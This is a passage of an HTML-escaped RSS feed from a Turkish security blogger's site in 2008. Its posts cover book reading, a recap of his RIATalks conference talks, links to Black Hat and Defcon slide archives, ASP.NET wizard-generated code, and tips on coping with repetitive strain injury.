&lt;strong&gt;Geek' ler i&amp;#231;in televole dergisi&lt;/strong&gt;. Nadiren de &lt;a href="http://www.edge-online.com/magazine"&gt;Edge Magazine&lt;/a&gt;' i okuyorum, klasik bir oyun dergisi ile oyun k&amp;#252;lt&amp;#252;r&amp;#252; ve sekt&amp;#246;r&amp;#252; arasında gidip geliyor.&lt;/p&gt;  &lt;p&gt;Bu ay Wired' ı da bitirdikten sonra yeni bir kitaba başlamam gerekti ve arşivime tekrar bakıp heyecanla okumayı beklediğim kitaplardan biri olan &lt;a href="http://ferruh.mavituna.com/yeni-kitap-secrets-and-lies-oku/"&gt;Secret and Lies&lt;/a&gt;' a başladım. &lt;a href="http://www.schneier.com/index.html"&gt;Schneier&lt;/a&gt; (&lt;em&gt;şınayr diye okunuyor&lt;/em&gt;) inanılmaz bir karakter, harika bir yazar ve s&amp;#252;per bir teknik beyne sahip. Ek olarak iyi bir iş adamı. Dolayısıyla onun yazılarını okumak farklı bir deneyim.&lt;/p&gt;  &lt;p&gt;Kitabın başında 5 sayfada d&amp;#252;nyadaki t&amp;#252;m g&amp;#252;venlik sorununu ciddi ciddi &amp;#231;&amp;#246;zd&amp;#252;. Ger&amp;#231;ekten de dedikleri yapıldığında -&lt;em&gt;ki &amp;#231;ok u&amp;#231;uk şeyler değil&lt;/em&gt;-, g&amp;#252;venlik sekt&amp;#246;r&amp;#252;n&amp;#252;n en b&amp;#252;y&amp;#252;k sorunları kısa s&amp;#252;rede &amp;#231;&amp;#246;z&amp;#252;lm&amp;#252;ş olacaktır. Dolayısıyla hen&amp;#252;z kitabın başında olmama rağmen kitap beni şimdiden etkiledi. Kitap hakkında tekrar yazacağım inşallah ama kitabı dijital formatta okumadığımdan dolayı pek not yayınlayamayacağım.&lt;/p&gt;  &lt;h3&gt;Takipte Kalın&lt;/h3&gt;  &lt;p&gt;Arada benden kitap &amp;#246;nerisi isteyenler &amp;#231;ıkıyor, &lt;a href="http://www.librarything.com/catalog/fm"&gt;Library Thing' te benim kitaplığımı g&amp;#246;rebilirsiniz&lt;/a&gt;. Okuduğum t&amp;#252;m kitaplar orada yok ama bir &amp;#231;oğu orada. Merak edenler oradan beğendiğim ve okuduğum kitapları g&amp;#246;rebilirler.&lt;/p&gt;  &lt;p&gt;Son olarak benim blog yazmamam bir şey paylaşmadığım anlamına gelmiyor. &lt;a href="http://ferruh.mavituna.com/news/"&gt;Okuduklarım&lt;/a&gt; sayfasından &lt;a href="http://feeds.feedburner.com/FM-Newspaper"&gt;ya da bu RSS ile benim payşlaştığım yazıları takip edebilirsiniz&lt;/a&gt;. Burada gevezelik ettiğim &lt;a href="http://twitter.com/fmavituna"&gt;twitter&lt;/a&gt;' ım ve şurada da hepsi birlikte &lt;a href="http://www.profilactic.com/mashup/fm"&gt;Profilactic - fm&lt;/a&gt; sayfası var. Memleketimde herkes FriendFeed kullanıyormuş, ben ona hen&amp;#252;z bulaşamadım. Şimdilik bu şekilde idare edin artık.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/4Tex7QXi_J7QZBln14xKQ06R2Rw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4Tex7QXi_J7QZBln14xKQ06R2Rw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/4Tex7QXi_J7QZBln14xKQ06R2Rw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4Tex7QXi_J7QZBln14xKQ06R2Rw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=Dflfo8D8"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=5U17sKw8"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=3rbb450P"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=JoFhPqY2"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=JoFhPqY2" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/pIjANTmWjag" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/kitaplar-yalanlar-wired-ve-web-application-hackers-handbook-oku/</guid>
  <comments>http://ferruh.mavituna.com/kitaplar-yalanlar-wired-ve-web-application-hackers-handbook-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/kitaplar-yalanlar-wired-ve-web-application-hackers-handbook-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> RIATalks' un Ardından</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/2xCNWhGbXKY/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Sal, 12 Ağu 2008 10:04:44 +0300</pubDate>
  <description>&lt;p&gt;&lt;a href="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/RIATalksArdndan_7005/2748829625_54aeb15284_2.jpg"&gt;&lt;img  height="339" alt="2748829625_54aeb15284" src="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/RIATalksArdndan_7005/2748829625_54aeb15284_thumb.jpg" width="417" style="float:left"  /&gt; Cuma ve Cumartesi RIATalk's&lt;/a&gt; taydım ve iki konuda konuştum.&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Insecure Trends in Web 2.0 / Web 2.0 Uygulamalarında G&amp;#252;venlik Sorunları&lt;/li&gt;    &lt;li&gt;Flash Uygulamalarında G&amp;#252;venlik&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Etkinlik Bah&amp;#231;eşehir &amp;#252;niversitesi Beşiktaş kamp&amp;#252;s&amp;#252;ndeydi. Okunacak değil de daha &amp;#231;ok tatil yapılacak bir yer tadında harika bir manzarası vardı. &amp;#214;zellikle benim gibi uzun s&amp;#252;redir denizden uzak kalan biri i&amp;#231;in boğaz manzarasında kola yudumlamak b&amp;#252;y&amp;#252;k bir keyifti.&lt;/p&gt;  &lt;p&gt;Birinci sunum olan &amp;quot;Web 2.0 Uygulamalarında G&amp;#252;venlik Sorunları&amp;quot;, &amp;quot;&lt;em&gt;Kurumsal&lt;/em&gt;&amp;quot; sunumların yapıldığı daha k&amp;#252;&amp;#231;&amp;#252;k olan salondaydı ve &amp;#231;ok daha keyifli ge&amp;#231;ti, katılımcılar hem sunum sırasında hem de sunumun sonundaki fikir paylaşımı kısmında tam bir harikaydı. Buradan teşekk&amp;#252;r ederim kendilerine de.&lt;/p&gt;  &lt;p&gt;İkinci sunum ise &amp;quot;Flash Uygulamalarında G&amp;#252;venlik&amp;quot; ti. Sunumun i&amp;#231;eriği gereği &amp;#231;ok fazla teknik bilgi vardı ek olarak g&amp;#252;venlik ile ilgili bilgiye de ihtiya&amp;#231; vardı, dolayısıyla kendimi CSRF, XSS nedir' i anlatırkem buldum ki bu da t&amp;#252;m sunumu teknik olarak iyice karışık yaptı. Buna rağmen fena ge&amp;#231;medi ama bir daha katılımcıların %80' inin rahat&amp;#231;a takip edebileceğine inanmadıktan sonra bu kadar teknik sunum se&amp;#231;memeye karar verdim. İkinci sorun salon o kadar b&amp;#252;y&amp;#252;kt&amp;#252; ki sahnede de değilde televizyonda sunum yapıyormuş gibi hissettim. Buna rağmen bir &amp;#231;ok kişi iki sunumun da &amp;#231;ok g&amp;#252;zel olduğunu s&amp;#246;yledi, her ne kadar ben ikinci sunumda tuhaf hissetsem de o aslında iyi ge&amp;#231;miş. &lt;/p&gt;  &lt;p&gt;Bunun harici bir &amp;#231;ok eski arkadaşımı g&amp;#246;rd&amp;#252;m, yeni s&amp;#252;per insanlar ile tanıştım, bir de konferans sonu arkadaki cafe' de gizli bir g&amp;#252;venlik toplantısı da yaptık. Dolayısıyla arada sosyalleşme şansı da buldum. T&amp;#252;rkiye' nin internet camiasının yakınlığını acayip seviyorum, sanki herkes birbirini liseden beri tanıyormuş gibi.&lt;/p&gt;  &lt;p&gt;İki sunumun da hem slaytları hem de videosu online olacak. Insecure Trends in Web 2.0 zaten ingilizce olarak &amp;#252;zerinde &amp;#231;alıştığım bir makalenin t&amp;#252;rk&amp;#231;e sunumuydu, dolayısıyla &amp;#231;ok daha detaylı bir makale o konuda gelecek inşallah.&lt;/p&gt;  &lt;p&gt;Aşağıda RIATalks hakkında konuşan blogların adreslerini veriyorum. Sunum ve videoları bekleyemeyenler i&amp;#231;in bazı yazılarda benim sunumlarımın teknik detayları da var.&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Sel&amp;#231;uk Hoca - &lt;a href=" http://www.selcukhoca.com/riatalks-istanbul-izlenimleri-1/"&gt;RIATalks İstanbul İzlenimleri - I&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;Sel&amp;#231;uk Hoca - &lt;a href="http://www.selcukhoca.com/riatalks-istanbul-izlenimleri-2/"&gt;RIATalks İstanbul İzlenimleri - II&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;Ahmet Ey&amp;#252;p - &lt;a href="http://www.ahmeteyup.com/riatalks-izlenimlerim/"&gt;RIATalks İzlenimleri&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="http://www.fikrimvar.net/lestirelim/?p=30"&gt;Riatalks, Snooker and Joker&lt;/a&gt; (ingilizce)&lt;/li&gt;    &lt;li&gt;Arman Acar - &lt;a href="http://www.armanacar.com/?p=43"&gt;RiaTalks Ardından&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;Bonus olarak şu &lt;a href="http://twitter.com/devletsah/statuses/882499341"&gt;twitter mesajı&lt;/a&gt; :)&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;&lt;em&gt;Fotoğraf i&amp;#231;in &lt;a href="http://www.arman.gen.tr/"&gt;Arman Acar&lt;/a&gt;' a &lt;/em&gt;&lt;a title="http://www.flickr.com/photos/el3ctro/2748829625/" href="http://www.flickr.com/photos/el3ctro/2748829625/"&gt;&lt;em&gt;http://www.flickr.com/photos/el3ctro/2748829625/&lt;/em&gt;&lt;/a&gt;&lt;em&gt; ya teşekk&amp;#252;rler.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/f15okgU4YGFUt4d3LUWyWw4oqsY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/f15okgU4YGFUt4d3LUWyWw4oqsY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/f15okgU4YGFUt4d3LUWyWw4oqsY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/f15okgU4YGFUt4d3LUWyWw4oqsY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=wzcyfd7n"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=XKPccoAp"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=P0twXB6f"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=eskW9xgF"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=eskW9xgF" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/2xCNWhGbXKY" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/riatalks-ardindan-oku/</guid>
  <comments>http://ferruh.mavituna.com/riatalks-ardindan-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/riatalks-ardindan-oku/</feedburner:origLink></item>
<item>
  <title>Blackhat 2008 ve Defcon 2008 Sunumlarının Rapidshare Downloadları</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/Rnxqr5CRYt0/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 11 Ağu 2008 08:36:53 +0300</pubDate>
  <description>&lt;p&gt;&lt;a href="http://ferruh.mavituna.com/riatalks-ta-bulusalim-oku/"&gt;Eve yeni d&amp;#246;nm&amp;#252;ş&lt;/a&gt; biri olarak Defcon 2008 ve Blackhat 2008' i yakalamaya &amp;#231;alışıyorum. Bu sırada bir ka&amp;#231; kaynaktan sunumları indirdim, basit&amp;#231;e rapidshare' a upload ettim ki hızlı şekilde download edilebilecek bir yer olsun.&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Blackhat 2008 Sunumları - &lt;a title="http://rapidshare.com/files/136401343/bh2008-2.zip" href="http://rapidshare.com/files/136401343/bh2008-2.zip"&gt;http://rapidshare.com/files/136401343/bh2008-2.zip&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;Defcon 2008 Sunumları - &lt;a title="http://rapidshare.com/files/136387502/defcon2008.zip" href="http://rapidshare.com/files/136387502/defcon2008.zip"&gt;http://rapidshare.com/files/136387502/defcon2008.zip&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Bu arada şimdilik şu sunumları sevdim: &lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;strong&gt;Get Rich or Die Trying &lt;/strong&gt;- BH_US_08_Grossman_Evans_Get_Rich_or_Die_Trying.pdf &lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Anatomy of a Subway Hack&lt;/strong&gt; - defcon-16-anderson-ryan-cheisa-2.pdf&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Yeni g&amp;#252;zel sunumları denk geldik&amp;#231;e listeyi de g&amp;#252;ncelleyeceğim. Bazı sunumlar demo olmadan bir anlam ifade etmiyor onlar i&amp;#231;in videoları bekliyor olacağız.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/zycOKkQD5hTb1zrAlvFNiR6-XnA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zycOKkQD5hTb1zrAlvFNiR6-XnA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/zycOKkQD5hTb1zrAlvFNiR6-XnA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zycOKkQD5hTb1zrAlvFNiR6-XnA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=lzBnqQCY"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=nVQ04wA1"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=pwnzMTpc"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=kwrBGZr8"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=kwrBGZr8" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/Rnxqr5CRYt0" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/blackhat-2008-ve-defcon-2008-sunumlarinin-rapidshare-downloadlari-oku/</guid>
  <comments>http://ferruh.mavituna.com/blackhat-2008-ve-defcon-2008-sunumlarinin-rapidshare-downloadlari-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/blackhat-2008-ve-defcon-2008-sunumlarinin-rapidshare-downloadlari-oku/</feedburner:origLink></item>
<item>
  <title>RIATalks' ta Buluşalım</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/S5LDIrtUtYs/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 04 Ağu 2008 20:20:27 +0300</pubDate>
  <description>&lt;p align="center"&gt;&lt;a href="http://www.riatalks.com/"&gt;&lt;img alt="mavi banner" src="http://www.riatalks.com/istanbul/agust/images/banners/mavi_468.gif" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;8-9 Ağustos' da (&lt;em&gt;yani bu cuma ve cumartesi&lt;/em&gt;) İstanbul' daki &lt;a href="http://www.riatalks.com/"&gt;Zengin İnternet Uygulamaları (RIA) ve Web 2.0 Konferansı&lt;/a&gt;' ında konuşuyor olacağım. Uzun s&amp;#252;redir İstanbula gelememiştim, g&amp;#252;zel olacak inşallah. Ek olarak daha &lt;a href="http://www.riatalks.com/istanbul/agust/ria_programs.cfm"&gt;bir s&amp;#252;r&amp;#252; g&amp;#252;zel konuşma var konferansta&lt;/a&gt; (&lt;em&gt;bu c&amp;#252;mleden benim konuşmamın da g&amp;#252;zel olduğu ger&amp;#231;eğini &amp;#231;ıkartabilirsiniz!&lt;/em&gt;) Konferans &amp;#252;cretsiz &lt;a href="http://www.riatalks.com/istanbul/agust/ria_attends.cfm"&gt;ama kayıt yaptırmanız gerekli&lt;/a&gt;, zaten az vakit kaldığından dolayı acele edin.&lt;/p&gt;  &lt;p&gt;Ben hem cuma hem de cumartesi konuşuyor olacağım, teknik ve kurumsal. İkisi i&amp;#231;in de g&amp;#252;zel sunumlar sizi bekliyor olacak.&lt;/p&gt;  &lt;p&gt;RIATalks' ta g&amp;#246;r&amp;#252;şmek &amp;#252;zere, &lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/l2RF-wxArQDPtozk2TKRsiYB9A0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/l2RF-wxArQDPtozk2TKRsiYB9A0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/l2RF-wxArQDPtozk2TKRsiYB9A0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/l2RF-wxArQDPtozk2TKRsiYB9A0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=kbXiG2BG"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=Ird5ql44"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=3ebojhKk"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=zNvFqYRz"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=zNvFqYRz" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/S5LDIrtUtYs" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/riatalks-ta-bulusalim-oku/</guid>
  <comments>http://ferruh.mavituna.com/riatalks-ta-bulusalim-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/riatalks-ta-bulusalim-oku/</feedburner:origLink></item>
<item>
  <title>ASP.NET - Otomatik Kod vs.</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/mqK55yH2CJU/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 04 Ağu 2008 20:06:29 +0300</pubDate>
  <description>&lt;p&gt;&lt;a href="http://ferruh.mavituna.com/my-love-is-killing-me-oku/"&gt;RSI hikayesinden&lt;/a&gt; dolayı bir şey yapamadığımdan vaktimi kitap okuyarak ve Warhammer 40000, Squad Command oynayarak ge&amp;#231;iriyorum. Şimdi &lt;a href="http://ferruh.mavituna.com/pragmatic-programmer-notlari-oku/"&gt;pragmatic programmer&lt;/a&gt;' da şu kısım ilgimi &amp;#231;ekti :&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;... But using a wizard designed by a guru does not automatically make Joe developer equally expert. Joe can feel pretty good&amp;#8212;he's just produced a mass of code and a pretty spiffy-looking program. He just adds in the specific application functionality and it's ready to ship. But unless Joe actually understands the code that has been produced on his behalf, he's fooling himself. &lt;strong&gt;He's programming by coincidence&lt;/strong&gt;. Wizards are a one-way street&amp;#8212;they cut the code for you, and then move on. If the code they produce isn't quite right, or if circumstances change and you need to adapt the code, you're on your own.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Genelde MS' in ASP.NET tasarım yaklaşımını ve benzeri yaklaşımları bu y&amp;#252;zden sevmiyorum, direk olarak sizin kontrol&amp;#252;n&amp;#252;zde olmayan bir dizi olay sonucunda programlama yapıyorsunuz. &lt;em&gt;Bu k&amp;#246;t&amp;#252;d&amp;#252;r &lt;/em&gt;demiyorum, anladıktan sonra bir sorun da yok ama &amp;#246;zellikle yeni başlayan programcıların, bunları kullanıp daha sonradan kendi programlarındaki bir hatayı tespit edememeleri biraz komik oluyor.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/aeYLVq62LH-3MfbyDtPYYIZb14c/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aeYLVq62LH-3MfbyDtPYYIZb14c/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/aeYLVq62LH-3MfbyDtPYYIZb14c/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aeYLVq62LH-3MfbyDtPYYIZb14c/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=DVKoBtT7"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=oYOKHTd9"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=sfkunTFu"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=P5MLvROw"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=P5MLvROw" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/mqK55yH2CJU" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/asp-net-otomatik-kod-vs-oku/</guid>
  <comments>http://ferruh.mavituna.com/asp-net-otomatik-kod-vs-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/asp-net-otomatik-kod-vs-oku/</feedburner:origLink></item>
<item>
  <title>My Love is Killing Me</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/kioiMjclEA8/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 01 Ağu 2008 23:48:03 +0300</pubDate>
  <description>&lt;p&gt;&lt;a href="http://www.amazon.co.uk/gp/product/images/B00006FMH1/sr=8-15/qid=1217623986/ref=dp_image_0?ie=UTF8&amp;amp;n=560798&amp;amp;s=electronics&amp;amp;qid=1217623986&amp;amp;sr=8-15"&gt;&lt;img height="280" alt="Logitech Wireless TrackMan Optical" src="http://ecx.images-amazon.com/images/I/41RA1FT720L._SL500_AA280_.jpg" width="280" style="float:left"  /&gt;&lt;/a&gt;Bir s&amp;#252;redir &amp;#231;ok fazla yazamıyorum, ana nedeni &lt;a href="http://en.wikipedia.org/wiki/Repetitive_strain_injury"&gt;RSI&lt;/a&gt;' mın azmış olması. RSI klasik bilgisayarcı hastalıklarından biri. &amp;#214;zetle mouse ve klavye ile aynı hareketleri tekrarlamaktan dolayı şaftının kaymasına deniyor. Bendeki RSI Carpal Tunnel Sendromu değil ama benzer bir şey. Temel olarak klavye ve mouse, bileğimde ve kolumda ciddi ağrılara neden oluyor. Bu başıma &amp;#252;&amp;#231;&amp;#252;nc&amp;#252; defa geliyor, o y&amp;#252;zden artık biraz daha dikkat etmeye &amp;#231;alışıyorum, buraya daha&amp;#160; az yazmamın nedenlerinden biri bu, bunun anlamı daha az e-mail cevabı demek aynı zamanda. Bir s&amp;#252;reliğine elimi ve kolumu dinlendirmeye &amp;#231;alışıyorum.&lt;/p&gt;  &lt;p&gt;İkinci trajik durumsa ilerlemeden ya da başlamadan g&amp;#246;zlerimi de kontrol ettirmeye başlıyorum. Bilgisayarın başımıza a&amp;#231;tığı işler, ya da ofisteki arkadaşların tabiri ile &amp;quot;&lt;strong&gt;&lt;em&gt;yaşlanıyorum&lt;/em&gt;&lt;/strong&gt;&amp;quot;. Tabii bunu s&amp;#246;yleyen arkadaş bir ka&amp;#231; ay &amp;#246;nce 30' una girdi onun acısını benden &amp;#231;ıkarmaya &amp;#231;alışıyor! Cumartesi g&amp;#246;z check-up' ım var bakalım g&amp;#246;zl&amp;#252;kle mi, lensle mi ya da temiz mi d&amp;#246;neceğiz.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://www.amazon.co.uk/gp/product/images/B000H6ORYM/ref=dp_image_0?ie=UTF8&amp;amp;n=318949011&amp;amp;s=sports"&gt;&lt;img height="280" alt="McDavid Wrist Support" src="http://ecx.images-amazon.com/images/I/31M2XXB6S7L._SL500_AA280_.jpg" width="280" align="right"  /&gt;&lt;/a&gt;RSI' a geri d&amp;#246;nersek, benim analizlerime g&amp;#246;re yapabileceğiniz şeyler:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;strong&gt;Wrist Brace - Bileklik Edinin       &lt;br /&gt;&lt;/strong&gt;Bu inanılmaz derecede benim işime yaradı, o olmasaydı şu an bunu yazamazdım. Ben yandaki bilekliği kullanıyorum, Her ne kadar hafiten bir &amp;quot;Micheal Jackson&amp;quot; imajı yapsa da &amp;#231;ok kullanışlı.      &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Daha &amp;#231;ok kısayol kullanın&lt;/strong&gt;. &amp;#199;ok kullandığınız programların &amp;#246;zellikle tarayıcınızın ve işletim sisteminizin kullandığınız t&amp;#252;m fonksiyonlarının kısayollarını bilin.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;&amp;#199;alışmaya ara verin&lt;/strong&gt;, her 30 dk. da bir 1-2 dk. kadar yeterli olacaktır. Bunu &lt;a href="http://desktop.google.com/plugins/i/rsireminder.html?hl=en"&gt;RSI Reminder&lt;/a&gt; gibi k&amp;#252;&amp;#231;&amp;#252;k programcıklar ile yapabilirsiniz.&lt;/li&gt;    &lt;li&gt;&lt;a href="http://www.powerballs.com/"&gt;&lt;strong&gt;Powerball&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; edinin&lt;/strong&gt;, Bunu bir ka&amp;#231; kişi &amp;#246;nerdi. Bende bir tane sipariş ettim, yolda. Farklı kasları &amp;#231;alıştırmanızı sağlıyormuş, hem de eğlenceli bir zımbırtıymış. Bir nevi yeni neslin yoyosu.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Ergonomik klavye &lt;/strong&gt;kullanın, iki el ile yazmayı &amp;#246;ğrenin.&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Ergonomik şekilde oturun &lt;/strong&gt;ve monitor, klavye, mouse u ona g&amp;#246;re ayarlayın.&lt;/li&gt;    &lt;li&gt;Mouse yerine Joistik, Trackball, Trackpad, Foot pedal ya da benzer bir şey kullanmaya başlayın. Yukarıdaki resimdeki Logitech Trackman g&amp;#252;zel bir se&amp;#231;im olabilir.&lt;/li&gt;    &lt;li&gt;&lt;a href="http://www.codinghorror.com/blog/archives/001146.html"&gt;G&amp;#252;zel bir sandalye alın&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;CRT monit&amp;#246;r kullanıyorsanız hemen onu &amp;#231;&amp;#246;pe atıp bir &lt;strong&gt;TFT edinin&lt;/strong&gt;, tasarımcıyım CRT den ayrılmam gibi bir şey gevelemeyin, tasarımcısınız diye k&amp;#246;r olmanız gerekmiyor. 17&amp;quot; ile 1440*900 &amp;#231;&amp;#246;z&amp;#252;n&amp;#252;rl&amp;#252;k yerine 19&amp;quot; da 1440*900 